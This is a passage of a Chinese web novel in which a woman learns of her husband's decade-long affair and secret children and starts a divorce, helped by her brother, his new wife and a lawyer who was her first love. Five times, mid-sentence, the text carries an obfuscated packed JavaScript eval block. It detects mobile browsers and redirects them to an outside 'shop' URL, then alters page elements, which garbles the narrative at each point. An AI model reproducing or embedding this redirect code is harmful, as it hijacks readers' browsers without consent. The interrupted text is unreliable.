十年的婚姻,任谁都难以承受。 可顾临呢? 顾家人能接受吗? 如果就这么直接跟顾柔说了,顾家人是什么想法。 可…… 她既然知道了这一切,就不能装作不知道。 如果不说…… 那不就成了为虎作伥了? 回家的路上,叶棠却只觉得心头异常沉闷。 顾临温热的大掌覆上她微凉的手背,轻轻握紧。 “和姐夫聊什么了?怎么还把自己聊得这么闷闷不乐。” 叶棠勉强扯了扯嘴角,露出一个算不上笑的笑容。 她侧过头,看着顾临线条清晰的侧脸,“顾临,你觉得……你姐夫,到底是个什么样的人?” 在顾临心里,王梹性格温和,对顾柔百依百顺,谈不上五好丈夫,也四分半。 对顾家人来说,他常常是令人无可挑剔的。 “姐夫他,性格没的说,对姐姐更是十年如一日的好。说句实在话,顾家这些年顺风顺水,他在背后出了不少力。圈子里的朋友提起他,都会夸顾家找了个好女婿,对姐姐,那更是没话说,姐姐有时使小性子,他也都包容着……我觉得,算是男人里很难得的了。” 顾临对王梹的评价,出乎叶棠心里期待的高。 楷模。 典范。 无可挑剔。 这些词,在此时显得有一些讽刺。 “你一直说他很爱姐姐,那姐姐爱他吗?当初姐姐选择嫁给他,是因为爱他,还是因为被追得无路可逃了,选择了将就呢?” 顾临摇头。 这点,他确实不知道。 结婚十年来,顾柔对王梹没多少热情,但在人前,也算说得过去。 但王梹对她始终如一。 他相信,姐姐的心,已经慢慢地被他融化,接受了他,甚至已经潜移默化地爱上了他。 这就是顾柔考虑给他生个孩子的主要原因吧。 “结婚头几年,姐姐挺任性的,动不动就吵着要离婚。就算开始的时候,再没有爱,十年了,就是块冰也该捂化了。最近……我发现姐姐对姐夫的态度软和了许多。不然姐姐怎么会松口,考虑要孩子的事?” 孩子? 她听顾临讲过。 顾柔一直不愿意生孩子。 顾家人不支持她丁克,也不是断的催生。 顾临对于顾柔的改变,是欣喜的。 可叶棠的心里的感觉,却是越发的复杂。 “姐夫是不是一直想要个孩子?” “当然,”顾临理所当然地说,“他快四十了,事业稳定,想要个继承人,人之常情。不过结婚时姐姐明确说过想丁克,他也一口答应了。就因为这事,家里长辈没少说姐姐,可姐夫都挡在前面,说尊重姐姐的意愿。你看,他是不是真的很好?” “可是你们男人的誓言可信吗?” 顾临笑笑,“怎么就不可信了呢。” 叶棠是个女人。 誓言也分很多种。 有一些无关紧要的甜言蜜语,不伤要本,或许就可以一辈子遵守。 但…… 如果是男人随口说说的呢? “我是说,你了解姐夫对一个孩子的执念吗?他当时答应姐姐丁克,或许就是……缓兵之计呢,结婚后,发现姐姐真的不想给他生孩子……” 王梹当初的答应,是权宜之计,还是求娶的筹码,他自己清楚。 婚后发现顾柔是认真的,年岁渐长,渴望愈盛。 而这份渴望在婚姻里得不到满足,他就想从别的女人那里得到。 他有资本啊。 有的是女人愿意给他生。 可是……这样真的对吗? “棠棠,”顾临终于听出不对劲,眉头微微蹙起,打断了她,“你今天怎么了?怎么对我姐和姐夫的婚姻,追问得这么仔细?你可不像是爱打听八卦的人。” 叶棠深深吸了一口气。 实在是憋不住了。 一咬牙,一闭眼,就把王梹的事情,全盘托出。 话音落下,车内一片死寂。 顾临脸上的表情,从最初的疑惑,到惊愕,再到难以置信的空白,像是在他的脸上讲完了一个故事表般。 他看着叶棠,仿佛没听懂她的话,“你……,这是真的吗?你……从哪里听说的?” 叶棠将工作室里的一切,都告诉了他。 “那女的叫赵媛,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073785|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以私下调查一下。” 顾临不知道现在这个时候,该用什么样的表情,才算是能压下心头的震惊。 王梹出轨在了,顾柔想要全身心爱他的时候。 如果他知道是这样的,会不会后悔呢? 顾临做了几个深呼吸,强迫自己能冷静的,先接受这件事情。 “你是说他……孩子都生了?” 叶棠点头,“那女的说,她给你姐夫生了个儿子,刚刚咱们在离开餐厅的时候,我问他,这件事情是不是真的,他倒是给否认了。” 大家都知道。 这世上没有不透风的墙。 王梹可以瞒得了一时,瞒不了一辈子。 而且,他这明目张胆的,用公司的名义来给一个女人订制上亿的珠宝,这本身也算不上一件想要隐瞒的作法。 也许,在王梹的心里,早已经做好了,与顾柔分开的打算。 想到这些,叶棠心里搅得难受。 男人怎么可以这样,先说爱的是他,爱得不可自拔的还是他。 变心的是他,背叛的是他,抛弃的还是他。 “顾临,要跟姐姐讲一声吗?我知道这很残酷,可是如果我们知道,而让她蒙在谷里,这对她来说,太残忍了。” 顾临现在心里很乱。 他需要亲自证实。 如果这件事情是真的,他不会让顾柔像个傻子一样的。 “我需要找王梹谈谈。” 叶棠也能理解,“那行吧,但我觉得,王梹这个人,不可能跟你讲实话,如果他真的跟你坦白了,那就说明,他也已经做好了跟你姐分开的打算了。” “那样最好,我姐这么优秀,有的是人追,离开他,照样活得很精彩。” 话是这样说。 可是一段十年的婚姻的解体,对任何一个女人来讲,都是剥皮剔骨的痛。 况且,王梹在她最想跟他共度余生的时候,选择了伤害她。 同样的是女人。 叶棠真的好心疼顾柔。 她当年并没有强迫王梹娶她,是王梹跪着求了很多次的婚,她答应的。 婚前,她已经将自己丁克的想法,坦诚地跟他讲了。 如果他真的想要一个孩子,非要不可的,那他完全可以不要娶。 他选择了娶她。 又选择了背叛。 真是不要脸到了极致。 第132章 虚伪的面具 几天后。 顾临踏进秉旺集团大楼。 总裁办公室的门虚掩着,王梹正站在落地窗前通电话,转身见他进来,眼底毫无波澜。 仿佛这一刻的到来,他早已经有预料似的。 “坐。”王梹挂断电话,亲自泡了茶,白瓷壶,水汽氤氲间,熟稔地斟满一杯推过去,“听说你新公司专攻研发,我这儿刚好有个项目,要不要合作试试?” 顾临没碰那杯茶。 目光落在王梹从容不迫的脸上。 他向来如此。 泰山压顶,不崩于前。 这样的人,当初怎么肯为了一个女人,求了一次又一次的婚。 仅仅是因为顾柔的美貌? 还是说,他厌倦了当备胎,非要成为正室,才算解了这口气。 顾临看不懂王梹啊。 忽然觉得,这间装满红木家具的办公室,闷得透不过气。 “姐夫最近应该很忙吧。”他向后靠进沙发,声音平稳,“秉旺这半年吞了三家公司,战线拉这么长,不累吗?” 他看着王梹的眼睛,又补一句,“我姐那个人,从来不知道体贴人,你是不是常觉得……她其实算不上一个合格的妻子?” 王梹笑了。 他慢条斯理地为自己也倒上茶。 “你姐这个人,确实是学不会关心别人,也不会在意我的情绪,不过这结婚也十年了,我都习惯了。” “习惯?是啊,我姐这点挺差劲的,不过……”顾临终于伸手捏起茶杯,指尖摩挲着,抬眼,“……男人在家受冷落了,就习惯在外面找慰藉,对吧,姐夫。” 空气骤然凝固。 王梹捏着茶杯的手停在半空,半晌,才缓缓放下。 他脸上仍挂着那层温润,只是眼角细微地抽动了一下。 “听到什么风声了?”他反问,不紧张,反而透出一些慵懒,“你听到的那些,希望……是真的,还是假的?” 顾临对这句话,很有敌意。 他希望是真的假的? 出轨这事,是取决于他? 他认为事是假的,就无事发生,你好我好大家好。 如果他认为是真的,那显然,王梹也没在怕什么。 “看来,你也没有多爱我姐。” 贺临端起茶桌上,刚刚倒满茶的水杯,泼向了旁边,褐色的水渍在浅灰地毯上迅速洇开,像一道丑陋的伤疤。 “看来……姐夫也觉得我们顾家,对你来说,并没有那么重要。” 王梹笑了。 眸底晦暗不明。 他盯着那片水渍,嘴角却慢慢勾起更深的弧度,没承认,也没否认,只是默默地抽了张纸巾,慢吞吞擦拭溅到桌沿的水珠。 贺临觉得这件事情,真没有再谈下去的必要了,“既然姐夫是这样的态度,我也不会让我姐继续成为受害者。” 他转身朝门口走去,身后传来王梹平静无波的声音:“顾临。” “我觉得我和阿柔的婚姻,存在的意义,对你,对我,对她,都利大于弊,当然,对于顾家来说,是最大的受益方,我还是希望维持表面上的平静。” 顾临背脊一僵。 现在装也不装了。 他回眸,看向王梹这张既熟悉,又陌生的脸。 王梹依然面色淡然,“顾临,你也不小了,其实有些事,装糊涂对大家都好。闹开了,谁脸上都不好看,你说是不是?” 顾临收回视线。 最终只是极轻的笑了一声。 嘲讽。 苍白。 他终于明白,那场让全城名媛艳羡的盛大求婚,不过是精心布置的**。 那场耗资千万、宾客云集的世纪婚礼,更是一场镜花水月。 他用十年这样的时间,盖过了他内心的卑劣。 王梹爱过姐姐吗? 没有。 从头到尾都没有。 那个男人眼中燃烧的从来不是爱意,而是不甘的掠夺欲。 他只想向所有人证明,做舔狗不可怕,只要他够坚持的,他就是最后的赢家。 他根本不在乎。 曾经受过的那些嘲笑。 只是可怜的顾柔,至今仍坚信王梹是这世上绝不会背叛她的人。 想到这里,顾临胸口闷得发疼。 走出秉旺集团大楼时,他给顾柔发了信息:“晚上回爸妈家吃饭,不要叫上王梹。” 收起手机。 他回头望向了贺梹所在的那一层。 落地窗后立着的模糊身影,正垂眸俯视着他,与之对视。 人真的很现实。 一旦撕开虚伪的面具。 就会露出丑陋。 …… 傍晚六点。 顾柔拎着大大小小的纸袋走进了顾家的别墅。 “顾临!”她将袋子悉数交给家里的下人,“叶棠没来吗?我给她买了条丝巾,上周在专柜一眼就看中了……” “她今天不过来了,姐。”顾临喉结滚动了一下,“今天有件事……要跟你说一下,吃完饭再说吧。” 看到弟弟的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074344|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色正经和严肃。 顾柔觉得,事情有些严重,“不会是又没钱了吧?” 她压低声音凑近,指尖戳了戳他手臂,“要多少?我私房钱还有。” “不是钱的事。”顾临打断她,声音沉了沉,“是关于你。” “我?”顾柔愣住,旋即失笑,“我能有什么事情?不会又是催生吧?你们可真烦,我已经答应你们了,体检报告都出来了,我卵巢功能好着呢,就是王梹最近太忙,备孕也得两个人配合呀……” “不是这个。”顾临鼻尖忽然有些发酸。 顾柔终于察觉不对劲。 脸上轻松的笑意一点点褪去,“你别吓我。是不是……家里谁身体出问题了?” “也不是,是你和姐夫的事。”顾临避开她的目光。 “我和他?”顾柔像是听到什么荒唐笑话,短促地笑了一声,“我们俩能有什么事?难道他在外面有人了?” 她耸了耸肩,“那正好,让他滚蛋,反正,分我一半家产,我又不吃亏的。” 家产? 顾临觉得这个姐姐真的太天真了。 既然王梹都不怕出轨,养小三,生私生子的事情,被人知道。 他所谓的资产,恐怕早已经转移干净了。 “姐。”顾临打断她,声音干涩,“如果……我是说如果,姐夫真的在外面养了别的女人,你……会难受吗?” 顾临问得小心翼翼。 顾柔抬眸,眼神收紧,“你是说真的?还是如果?” 顾临咽了咽。 “如果,你就说,如果他在外面养女人,你会不会要死要活的吧?” 顾柔忽然轻轻笑了。 “我为什么要死要活?他要是真敢出轨,我第一件事就是去医院做全面检查,谁知道那种脏男人会不会带回来什么病。” “然后离婚,找个靠谱的律师,能拿走他多少钱,拿走多少钱。最后……老死不相往来。然后呢……” 她冲顾临扯出一个极其灿烂的笑。 “去南法买个酒庄,每天晒晒太阳喝喝酒,遇到顺眼的就谈场恋爱,然后养几只狗,几只猫……”她眨眨眼,“不知道有多快活。” 顾临看着她脸上那个过分用力的笑容,似乎明白了,她应该也猜到了。 “姐。”他听见自己的声音在空旷的客厅里响起,“我们……先吃饭吧。” 顾柔没应声。 许久,她才很轻地点了点头,起身时甚至还记得整理了一下裙摆的褶皱。 第133章 你还不配 顾临并没有把王梹的事情告诉父母。 晚饭后,父亲进了书房。 母亲则像往常一样,去了佛堂诵经。 偌大的宅子里,又只剩下姐弟二人。 顾柔很久没有说话。 她托着腮,侧脸朝着窗外,目光空茫茫地落在院子角落那棵合欢树上。 那是她结婚那年,王梹亲手种下的。 一共两棵,一棵在这里,另一棵,种在了他们婚后住的院子里。 如今,十年过去,合欢树枝繁叶茂,亭亭如盖,而她那段婚姻,却已走到了凋零的边缘。 “顾临。”她没有回头,声音轻得像一缕烟。 顾临立刻应道:“嗯?” “那个女人……叫什么名字?” 顾临的心被攥了一下。 沉默了片刻,“她叫,赵媛。” “美吗?” 顾柔的声音透着怪异的平静。 顾临垂下眼,避开了姐姐投来的视线:“也就……一般。” “是吗?”顾柔极轻地笑了一下,听不出什么情绪,“看来王梹的眼光,也不怎么样嘛。” “姐……”顾临胸口发闷,“……如果一个男人,可以这么轻易就……背叛……那只能说明,他根本就不是你命中注定的人。” 顾柔听着,嘴角仍挂着那抹淡淡的笑意。 十年婚姻,她除了心安理得地花着王梹的钱,似乎真的没为他做过什么值得称道的事。 她和他的关系,可能浮于表面的更多。 也不过是他带她出去,会有些面子,顾家背景也还算不错。 除此……还有什么呢? 他大概从未爱过她吧,连片刻的真心,或许都不曾有过。 “顾临,”她眼底已蓄满了晶莹的水光,却依然在笑,“如果我离婚了,是不是就……无家可归了?” 顾临不敢看她。 喉头发哽,扭过脸说了句,“怎么还无家可归了,这个家这么大,还容不下你了?” 顾柔知道弟弟的心思。 他是不想让她有寄人篱下的感觉。 “我告诉你啊,”顾临故意用轻松的语气接着说,“我现在事业刚起步,可没时间回来,以后照顾爸妈这事,就得交给你了,别想偷懒。” 顾柔没有再回应。 她只是静静地望着那棵合欢树。 心已经碎了,碎成一片一片,再怎么拼凑,也回不到原来的样子。 十年光阴,到头来,镜花水月一场。 她不恨王梹,只恨自己太沉溺于安逸的假象。 离婚这个结局,她可以接受。 但她无法接受的,是自己因为不够好而被抛弃。 …… 几天后,顾柔约见了叫赵媛的女人。 很普通。 这是顾柔的第一印象。 没有惊艳的容貌,没有窈窕的身段,甚至,也没有让人嫉妒的家世背景。 不像她,妆容精致,美艳依旧,周身散发着一种沉淀已久的、不容忽视的气场。 相比之下, 赵媛尽管努力挺直背脊,眼神里却有藏不住的不安。 一个普通到扔进人海就再也找不到的女人,却生了王梹的孩子,撼动了她十年的婚姻根基。 “如果我没记错的话,”顾柔声音平稳,听不出波澜,“赵小姐以前在秉旺集团工作过?” 赵媛点点头,手指无意识地摩挲着杯沿:“是的,工作过一段时间。” “你们是什么时候开始的?”顾柔端起面前的咖啡,浅浅啜了一口,目光平静地落在赵媛脸上,“……几年了?” 赵媛抿了抿唇,眼神有些闪烁。 她觉得讨论这个没有意义。 王梹会不会和顾柔离婚,都是未知数。 娶自己更是绝无可能。 现在的顾柔,她还得不得罪的起。 她心里也没有底。 “王太太。”赵媛斟酌着开口,“我和王总的事情,要不……你还是亲自问他吧。” 贺柔极轻的笑了一下。 杯中被吹得半热的咖啡,抬手就泼向了赵媛。 赵媛没有料到。 有一些猝不及防,“你这是干什么?” “赵媛,我本不屑与你论个长短,但你做了这样的事情,已经违背了做人最基本的道德底线,王梹所赠予你的所有珠宝,和给予你的转账,我都有权追回来,你最后极有可能,就是鸡飞蛋打,明白吗?” 赵媛知道自己不可能得到什么。 但她的儿子不一样了。 私生子与婚生子一样,有同样的继续权。 况且,贺柔并没有给王梹生个一儿半女。 这个孩子,极有可能是王梹唯一的儿子。 那整个秉旺集团,都会是她儿子。 顿时,赵媛觉得自己腰杆更直了,“是不是鸡飞蛋打,不得走着瞧吗?顾柔,我未来是什么样的还是个未知数,而你的下场已经显而易见了,不是吗?” 这话挺刺激人的。 顾柔的眉心微不可见地拧了一下。 赵媛这人挺不要脸的。 和王梹也算是绝配。 都以为她是个软柿子。 “赵媛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078557|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有活人,才有资格对未来进行畅想。”顾柔微向前俯了俯身子,用只有两个人能听到的声音,“前提是你得活着。” 赵媛没见过什么事面。 确实被顾柔的眼神,吓到了。 但一想到,顾柔不过是一个全职太太,手无缚鸡之力,也没什么大本事,就当她是说说狠话罢了。 但顾柔是真起了杀心。 不止是对赵媛,还有赵媛生的那个孩子。 这无关嫉妒和爱情。 她就是单纯咽不下这口气。 …… 顾柔没急着跟王梹离婚。 顾临和叶棠要办婚礼的日子到了。 她忙前忙后的,像是什么也没有发生过一般。 王梹依然每个月往她卡里打上亿的零花钱。 人前,恩爱夫妻。 人后……叶棠也不知道,他们是如何相处的。 婚礼的这天。 鞭炮齐鸣,锣鼓喧天。 顾家人忙得团团转。 好在婚礼没有出什么岔子,很顺利地举办完了。 与父母送完最后一波宾客。 顾临和叶棠也一起回了别墅。 顾柔最后一个离开的。 王梹拿了披肩,轻轻地披到她的身上,“你今天穿得太少了,小心感冒。” “谢谢。”她还是温柔的样子。 只这话里多了些客套。 少了夫妻间该有的娇嗔和热络。 “今晚回家睡吗?”王梹喝了些酒,眼中男人的意思明显。 顾柔淡淡地扫了他一眼,没什么感情的说,“不回。” “总住娘家也不是个事啊。”他握着她的腰,将她拥住,“我很想你了。” “王梹,现在家人和朋友都不在,就别演戏了。”是知道两个人已经走到头了,“找个时间,我们去把离婚证扯一下。” 王梹明显愣了一下,旋即笑了,“别闹。你知道的,我不可能娶她。” “我不要你了王梹,你还不明白吗?我嫌你脏,你不值得我去爱你。”顾柔向来高傲,与别的女人共享一个男人。 王梹还配。 其实,她以前不是不知道王梹的为人。 他不是善茬来着。 为什么那么多追求她的,她最坚定拒绝的就是王梹的爱。 因为她不想去改造一个男人。 她也并不认为,一个男人为了她肯做出改变。 十年。 她用了十年的时间,让自己接受他,接受他的改变,接受他的好。 在她想去爱他的时候,他送给了自己这么大的惊喜。 第134章 小题大做 她终于还是接受了。 将他放到她肩上的披肩扯下来,丢在了地上。 她不再看他,转身欲走。 脚步还未抬起,手腕便被狠狠扣住。 “有必要这么小题大做?” 王梹的声音里听不出起伏,平淡得像在讨论天气。 “小题大做?”顾柔回头,她好奇怪,他的脑子里面装着什么,“在外面包养小三,并且有了私生子,对你来说是小事?” “你不想生,有人愿意生,不是正好省了你的事?” 王梹的眉头微蹙,眼底堆积着厌烦。 既然已经相看两厌,何必再互相折磨。 “照你这么说,我是不是还得感恩戴德,谢谢你的‘体贴’?” 顾柔笑了,笑意冰凉,未达眼底。 “柔柔,孩子生都生了,又塞不回去,我答应你,这孩子和赵媛,我都不会让他们进门的,在所有人的眼里,你永远是我的王梹明媒正娶的太太,这样不好吗?” 顾柔被他话里的荒谬,恶心笑了。 她猛地挥开他的手,像甩开什么脏东西。 “谁他妈稀罕当你的王太太?王梹,十年……你用十年下了好大一盘棋。”她声音发颤,却异常清晰,“还好,我真庆幸,我没有怀上你的孩子。这是我这十年里,做过最正确的决定。” 她不再停留,转身离开,干脆利落,没有一丝犹豫。 这十年,是个彻头彻尾的笑话。 他一直当她是个傻子。 确实,她当傻子当得还挺开心的。 不过,现在她不想傻子。 她已经托了**,将王梹调查清楚。 结婚头一年,他就和那个叫赵媛的女人纠缠不清。 第三年,他们有了一个女儿。 他演技真好。 瞒得可真好。 一边在她面前演的好丈夫,好老公,一边又在赵媛那边演着好伴侣,好父亲。 在她这边孤家寡人。 在那边却是儿女双全。 一阵翻江倒海的恶心,涌了上来。 顾柔快步走进洗手间,将晚上吃的那点东西,全吐了出来。 冷水泼在脸上,刺激着神经。 她抬头,看向镜中面容憔悴、眼神却异常清亮的女人。 她依然很美。 岁月并没有在她的脸上,留下过多的痕迹。 还好。 还好没有孩子。 失去的,不过是一个从未真心爱过自己的人罢了。 虽然赔上了整整十年,但总比赔上一生要强。 她拿出手机,指尖在通讯录里滑动,最终停留在一个沉寂了十年的号码上。 没有备注。 她拨了过去。 响了两声,那边接通,一个沉稳的男声传来:“喂?” “是我。”顾柔的声音有些沙哑。 “柔柔。” “你可够怪的。”顾柔扯了扯嘴角,语气里带着自己都未察觉的轻颤,“十年了,手机号也不换?” 手机那头,笑声温和,音色未变,“我怕……万一哪天你想找我,却找不到。” 顾柔鼻尖一酸,迅速眨了眨眼,压下涌上的湿意。 “应南,可以帮我个忙吗?” “你说。” “我想请你做我的离婚律师,”她吸了口气,字字清晰,“我要和王梹离婚,彻底了断。” 男人没有立刻回答。 几秒后,他郑重地应道:“好。” …… 另一边,新婚的喜气尚未散尽。 洞房花烛,春宵缱绻。 几次情事过后,叶棠伏在顾临汗湿的胸膛上,疲惫而满足地喘息。 安静片刻,她忽然想起什么。 “顾临,我今天看见姐姐和姐夫了……他们看起来,还和以前一样。你是不是,还没把姐夫外面那些事告诉姐姐?” 顾临的大手在她光滑的脊背上轻轻抚过,眼神却黯了黯。 “我说过了。” “说过了?”叶棠讶异,“那他们怎么还……” “也许是姐姐想给他,也给王家留最后一点体面吧。”顾临叹了口气,眉宇间是化不开的忧色,“也可能,她是想等我们婚礼办完,再和王梹摊牌。” 他了解自己的姐姐,眼里容不得沙子,更何况王梹这已不是沙子。 “王梹真不是东西!”叶棠忍不住低声骂。 顾临又深深叹了口气。“让姐姐自己处理吧。我只是心疼她这十年……谁的十年不是青春?就算王梹一年给姐姐十几个亿,又能怎样呢?” “顾临,”叶棠撑起身子,眼神变得认真而敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078889|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐,“你让姐姐来我们工作室,把她手上所有能动用的钱,全部拿来订制珠宝。” 她记得清楚,法律上,珠宝首饰通常被视为个人专用财产。 “既然到了这一步,该算的就得算。王梹是过错方,肯定早就转移隐匿了财产,姐姐现在手头这些,必须尽快变成她自己名下的、实实在在的东西。” 顾临在算计人心上不如叶棠机敏,但只要是对姐姐好的事,他绝不反对。 他点了点头,将妻子搂紧了些。 “好。这事……我找个机会单独和姐谈。” 叶棠想了想。 还是女人之间比较容易聊透。 “算了,还是我来找姐姐谈吧。” …… 回门当天。 叶家人还算懂事,给够了顾家脸面,也给足了自己的脸面。 叶棠见到了这些年来,都没有见过的亲戚。 平平无奇的,她也记不住。 程应南,她还是记得的,“表哥。” 叶棠牵着顾临的手,来跟程应南打招呼,“这是我表姨家的表哥,他很优秀的,学霸一枚,现在是大律师。” 顾临看他有些眼熟。 但也没往旁处想,“表哥。” “你是顾临?”程应南记得第一次见顾临的时候,他还在上初中,“你倒是变化不小。” “你认得我?”顾临有点懵了。 程应南笑笑,“我是你姐的同学。” 顾临懂了。 怪不得他看着程应南有一些眼熟呢。 原来还真的是见过,“那可太巧了。” “不瞒你说,我这次回来,就是帮你姐打离婚官司的。” 其实,顾柔当年也是学法律的,如果不是嫁给王梹,她前途无量。 “我姐已经准备要离婚了吗?”顾临问。 程应南没想到,顾柔离婚的事情,顾家人会不知道,“你姐没有跟你们商量吗?” “没有。” 可能顾柔不想将自己的烦心事带给顾家人。 也或许是,她觉得自己有能力处理这些。 “表哥,既然你是我姐的同学,还请你尽全力为她争取到她该得的,在婚姻中,她不是过错方。” 程应南点头,拍了拍顾临的胳膊,“放心吧,我是专业的律师。” 第135章 她第一个想带回家的男人 后来,顾临才知道。 程应南是顾柔的初恋。 是她第一个想带回家的男人。 .…… 叶棠和顾柔见了一面。 面对面坐着。 她们谈得很细,很慢,每一句话都像斟酌过许多遍。 顾柔把那些王梹曾经送她的礼物珠宝、房产、车子一样一样清点出来,全部兑成了现金。 再加上这些年自己攒下的存款,统统以合同的形式订制成珠宝订单,打进了海棠工作室的财务账户。 数目不算小,上百亿总是有的。 但放到王梹的身家底下看,却又算不上什么。 “姐,”叶棠声音极轻,“你要是真和他离了……以你对他的了解,他真的不会分将名下的财产,分你一些吗?” 顾柔听了,只是淡淡笑了笑。 “如果你觉得他会分给我,”她语气平静,像在说别人的事,“我们也不必像现在这样,处心积虑地,把我自己的东西一点点挪出来了,是不是?” 叶棠点了点头。 女人啊,总是容易把男人想得过于善良。 若是还有爱意,或许能剩下几分情面;不爱了,就真的什么也不剩了。 “姐,”叶棠声音更软了,“你心里……很难受吧?” “谈不上难受,”顾柔停顿了一下,目光看向窗外某个虚处,“就是觉得,像被人从身后插了一刀。” 她轻轻扯了扯嘴角,笑容里是对自己的淡淡嘲弄。 叶棠忽然不知道该说什么才能让她好过一点。 “姐……” “我不需要安慰。”顾柔转回头,眼神已经静了下来,“没事。” 顾柔和王梹的离婚战,已经打响了。 如之前想象的那样。 王梹不同意离婚。 顾柔便走了诉讼这条路。 离婚官司牵扯的比较多,好在他们之间没有孩子,但王梹身下财产众多,有专业的法务团队,不是一件简单的事情。 顾柔没有搬回顾家。 而是住在了,她十八岁成年时,父母送的那套住房里。 顾家父母没去打扰。 甚至连顾临也极少去。 大概是想让她好好地平复心情。 反倒是叶棠,经常去看望。 这天。 叶棠买了菜和肉,想着陪顾柔吃个火锅。 刚走门口,就听到里面传来了激烈的争吵。 门虚掩着。 声音很清晰明显。 她立马推门而入,看到是的王梹。 “你干什么?跑到家门上,来欺负人了?”叶棠像只护犊子的母鸡,将顾柔挡在身后,“我告诉你王梹,离婚诉讼期间,你要胆敢对我姐做什么,你就等着去做牢吧。” 王梹脸色铁青。 继续对着顾柔话狠话,“多想想顾家和顾家的生意,以及顾临现在刚刚起步的公司,离婚很容易,但是毁掉你们顾家的一切,更容易。” 叶棠震惊。 这算是什么? 威胁? 妈蛋的,他竟然还在这儿威胁上了。 “你看把你能耐的,王梹,你自己的屁股擦得很干净是吗?要不要税务去查一查?我告诉你,我可以一天举报你三十遍,别玩威胁这一套,顾家人也不是那么好任你拿捏的,你想多了。” 王梹很生气地点了两下头,“最好,到时你们的嘴,也这么硬。” 男人离开后。 叶棠重重地关上了门。 她很担心顾柔的状态,放下东西,忙给她倒了杯水,“姐,你没事吧?” 顾柔摇头。 她其实还好。 被激怒的是王梹。 “没事。” “他怎么突然找上门来了?疯成这样?”叶棠问。 顾柔接过水杯,慢慢地啜了口,“大概是今天程应南去找他谈去了,看到程应南,应激了呗。” “啊?”叶棠不太懂,“他见到我表哥就应激了……” 叶棠恍的想起顾临跟她讲的。 程应南是顾柔的初恋。 王梹追了顾柔那么多年,指定也知道。 嫉妒心作祟了起来,“他这是吃醋了?他在外面养小三,生孩子,你曾经的初恋,为你打个官司,他就抓狂成这样?有病吧。” 顾柔也觉得挺搞笑的。 你看,男人这种生物就是复杂且自私。 口口声声说着别人小题大做。 而换个位置,他就受不了了。 “他确实有病,一会儿我把密码改一下,然后把门外,和房间里都按上监控,只要他伤害到我,我就让他有吃不完的官司。” 叶棠冲着顾柔竖大拇指。 女人啊,不是恋爱脑,真的很重要。 但是,男人疯起来,像顾柔这样柔软的女性,也实在是招架不住。 “姐,要不,你搬过去,跟我们一起住吧,反正家里就我和顾临,没有别人,你不会不自在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079974|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 叶棠的好意,令顾柔温暖。 她天生就不是爱麻烦别人的人。 亲人尤其。 “不用了,他再怎么着,也不敢杀了我。” 论起胆量来。 顾柔的胆量比王梹大多了。 只是这些年,她装柔弱惯了。 叶棠陪顾柔吃了饭后。 便离开了。 她前脚刚走,赵媛带着自己的女儿,便找上了门。 女孩长得很像王梹。 是他的种没错。 “顾柔,听说你要和王总离婚了?你挺识趣的嘛,我觉得我应该祝福,所以,就带着我的大宝过来了。” 赵媛抬手搭在了女儿的肩上,“欢欢,喊人,她是爸爸以前的女人。” “他是爸爸的女人,就是坏女人,我不叫。”女孩对顾柔有敌意。 顾柔也不喜欢这个孩子。 一个小三养出来的,有什么资格在这儿跟她大呼小叫的。 